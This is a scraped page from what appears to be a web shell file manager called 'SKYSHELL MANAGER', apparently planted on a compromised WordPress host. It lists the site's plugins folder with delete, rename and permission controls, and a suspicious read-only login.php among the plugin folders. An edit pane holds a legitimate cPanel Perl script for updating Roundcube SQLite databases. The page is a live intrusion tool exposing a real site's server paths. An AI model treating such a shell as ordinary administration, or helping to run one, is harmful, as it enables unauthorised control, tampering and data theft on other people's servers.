📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
2649.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: update-roundcube-sqlite-db
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2024 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. ## cpdev: installs to /usr/local/cpanel/base/3rdparty/roundcube package bin::update_roundcube_sqlite_db; use cPstrict; use parent qw( Cpanel::HelpfulScript ); use constant _OPTIONS => ( 'foreground', 'user=s@', 'transfer', ); use Cpanel::Config::HasCpUserFile (); use Cpanel::Config::LoadCpConf (); use Cpanel::Config::Users (); use Cpanel::Debug (); use Cpanel::Email::RoundCube (); use Cpanel::Email::RoundCube::DBI (); use Cpanel::LoadFile (); use Cpanel::PwCache (); use Cpanel::Server::Type (); use Cpanel::Server::Type::Profile::Roles (); use Whostmgr::Email (); use Try::Tiny; use Fcntl (); use IO::Handle (); exit( run(@ARGV) // 0 ) unless caller; sub run (@args) { if ( !_supports_roundcube() ) { Cpanel::Debug::log_warn("bin/update-roundcube-db is disabled required MailReceive role is disabled."); return; } _redirect_to_mysql_script(@args); return __PACKAGE__->new(@ARGV)->script(); } my $cpconf; sub script ($self) { my $foreground = $self->getopt('foreground'); my $opt_users = $self->getopt('user'); my $transfer = $self->getopt('transfer'); my @users; if ( ref $opt_users eq 'ARRAY' && scalar @{$opt_users} ) { for my $user ( @{$opt_users} ) { if ( !Cpanel::Config::HasCpUserFile::has_cpuser_file($user) ) { print "User “$user” does not exist.\n"; next; } push @users, $user; } if ( !@users ) { print "No valid users given.\n"; return 1; # script exit code } } else { @users = Cpanel::Config::Users::getcpusers(); } my $latest_bundled_version = Cpanel::Email::RoundCube::get_active_version() // ''; my $version_before_update = Cpanel::Email::RoundCube::get_stored_version() // 'none'; # This will be undef during initial install _daemonize() unless $foreground; Cpanel::Email::RoundCube::init_roundcube_data_dir(); print "Roundcube update from $version_before_update to $latest_bundled_version in progress.\n"; Cpanel::Email::RoundCube::lock_roundcube_for_update(); my $dest_dir = $Cpanel::Email::RoundCube::ROUNDCUBE_DEST_DIR; ############################## ## DATABASE ## return value not used currently, but keep this for now; we do not know ## the extent or type of problems we might encounter my $rv = handle_database( $latest_bundled_version, \@users, $transfer ); ############################## # If it is 'mysql_plus_sqlite' we already generated the config in such a # way as to be able to load from either DB. # Default is sqlite for this, so also do it if it's just falsey. if ( !$cpconf->{'roundcube_db'} || ( length $cpconf->{'roundcube_db'} && $cpconf->{'roundcube_db'} eq 'sqlite' ) ) { Cpanel::Email::RoundCube::generate_roundcube_config_sqlite($dest_dir); } Cpanel::Email::RoundCube::write_version_file(); if ( Cpanel::Email::RoundCube::process_custom_roundcube_install_file($dest_dir) ) { Cpanel::Email::RoundCube::unlock_roundcube_after_update(); return 0; # script exit code } Cpanel::Email::RoundCube::unlock_roundcube_after_update(); print "Roundcube updated to $latest_bundled_version\n"; return 0; # script exit code } sub _supports_roundcube() { # dnsonly does not support roundcube return if Cpanel::Server::Type::is_dnsonly(); # MailReceive role is required return unless Cpanel::Server::Type::Profile::Roles::is_role_enabled('MailReceive'); return 1; } ############################## # Determine whether our config override is in place. If we don't see the include in the primary RC config, return 0 # so the rest of the script will process the update to eventually call _generate_roundcube_config() in Cpanel/Email/RoundCube.pm sub config_override_in_place { if ( open( my $config_fh, '<', '/usr/local/cpanel/base/3rdparty/roundcube/config/config.inc.php' ) ) { my $include_found = 0; while ( my $line = readline($config_fh) ) { if ( $line =~ m/include.+cpanel_config\.php/ ) { $include_found = 1; last; } } close($config_fh); return $include_found; } else { # No config in place, need to run an update to trigger the config build return 0; } } ############################## sub _apply_transfer_sqlite_script ($database_file) { my $transfer_script = '/usr/local/cpanel/src/3rdparty/gpl/roundcube_schema/transfer/sqlite.sql'; if ( !-e $transfer_script ) { Cpanel::Debug::log_warn("Transfer script not found: $transfer_script"); return; } Cpanel::Debug::log_warn("Applying transfer script to SQLite database: $database_file"); my $script_content = Cpanel::LoadFile::loadfile($transfer_script); if ( !$script_content ) { Cpanel::Debug::log_warn("Failed to load transfer script: $transfer_script"); return; } eval { require DBI; my $dbh = DBI->connect( "dbi:SQLite:dbname=$database_file", "", "", { 'RaiseError' => 1, 'AutoCommit' => 1 } ); if ($dbh) { # Remove comments and split on semicolons $script_content =~ s/--.*$//gm; # Remove single-line comments my @statements = split /;/, $script_content; for my $statement (@statements) { $statement =~ s/^\s+|\s+$//g; # trim whitespace next if !$statement; # skip empty statements if ( !$dbh->do($statement) ) { Cpanel::Debug::log_warn( "Failed to execute transfer script statement: $statement - " . $dbh->errstr() ); # Continue with other statements rather than failing completely } else { Cpanel::Debug::log_info("Successfully executed transfer statement: $statement"); } } $dbh->disconnect(); } else { Cpanel::Debug::log_warn("Failed to connect to SQLite database: $database_file"); } }; if ($@) { Cpanel::Debug::log_warn("Error applying transfer script to $database_file: $@"); } return; } sub handle_database { my ( $RCUBE_VERSION, $users_ar, $is_transfer ) = @_; for my $sysuser ( @{$users_ar} ) { my $homedir = Cpanel::PwCache::gethomedir($sysuser); my @dbs; my ( $base_dir, $db_fname ) = ( "$homedir/etc", "$sysuser.rcube.db" ); if ( -e "$base_dir/$db_fname" ) { push( @dbs, { sysuser => $sysuser, user => $sysuser, domain => undef, base_dir => $base_dir, db_fname => $db_fname, } ); } try { my $email_accts = Whostmgr::Email::list_pops_for($sysuser); for my $email_address (@$email_accts) { my ( $email_user, $domain ) = split( '@', $email_address ); my ( $base_dir, $db_fname ) = ( "$homedir/etc/$domain", "$email_user.rcube.db" ); if ( -e "$base_dir/$db_fname" ) { push( @dbs, { sysuser => $sysuser, user => $email_user, domain => $domain, base_dir => $base_dir, db_fname => $db_fname, } ); } } } catch { local $@ = $_; warn; }; next unless ( scalar @dbs ); my $rv = Cpanel::Email::RoundCube::DBI::sqlite_schema_updates_for_user( $sysuser, $RCUBE_VERSION, \@dbs ); ## note: can't really do anything with the return value, as we need to determine ## the types of problems we might encounter # Apply transfer script to each database if this is a transfer operation if ($is_transfer) { for my $db_info (@dbs) { my $database_file = "$db_info->{base_dir}/$db_info->{db_fname}"; _apply_transfer_sqlite_script($database_file); } } } return 1; } sub _daemonize { print STDERR "$0: running in the background.\n"; require Cpanel::Daemonizer::Simple; Cpanel::Daemonizer::Simple::daemonize(); return; } sub _redirect_to_mysql_script (@argv) { $cpconf = Cpanel::Config::LoadCpConf::loadcpconf(); ## case 48029: Redirect to MySQL script unless Roundcube is configured to use SQLite unless ( exists $cpconf->{'roundcube_db'} && grep { $cpconf->{'roundcube_db'} eq $_ } qw{sqlite mysql_plus_sqlite} ) { ( my $mysql_version = $0 ) =~ s/(.+?)\-sqlite(\-db)?$/$1$2/; $mysql_version .= '-db' if $mysql_version !~ m/\-db$/; print "Roundcube is not configured to use SQLite.\n"; print "This update is for Roundcube using SQLite. Running $mysql_version.\n"; exec $mysql_version, @argv; die "Failed to exec $mysql_version"; } return; } 1; __END__ =encoding utf-8 =head1 NAME update-roundcube-sqlite-db =head1 SYNOPSIS update-roundcube-sqlite-db [--foreground] [--user <user1>] ... [--user <userN>] [--transfer] update-roundcube-sqlite-db --help =head1 OPTIONS =over 4 =item --foreground Run the script in the foreground. The default behavior is to run in the background. =item --user C<username> Run the script for the specified system user. Can be used repeatedly to specify multiple system users. The user must be a cPanel account. The default behavior is to run for all users. =item --transfer Indicates that the script is being called during an account transfer operation. This flag affects the behavior of the database schema update process. =item --help Provides this help text. =back =head1 DESCRIPTION This script updates Roundcube SQLite database schema for one or more users.
Save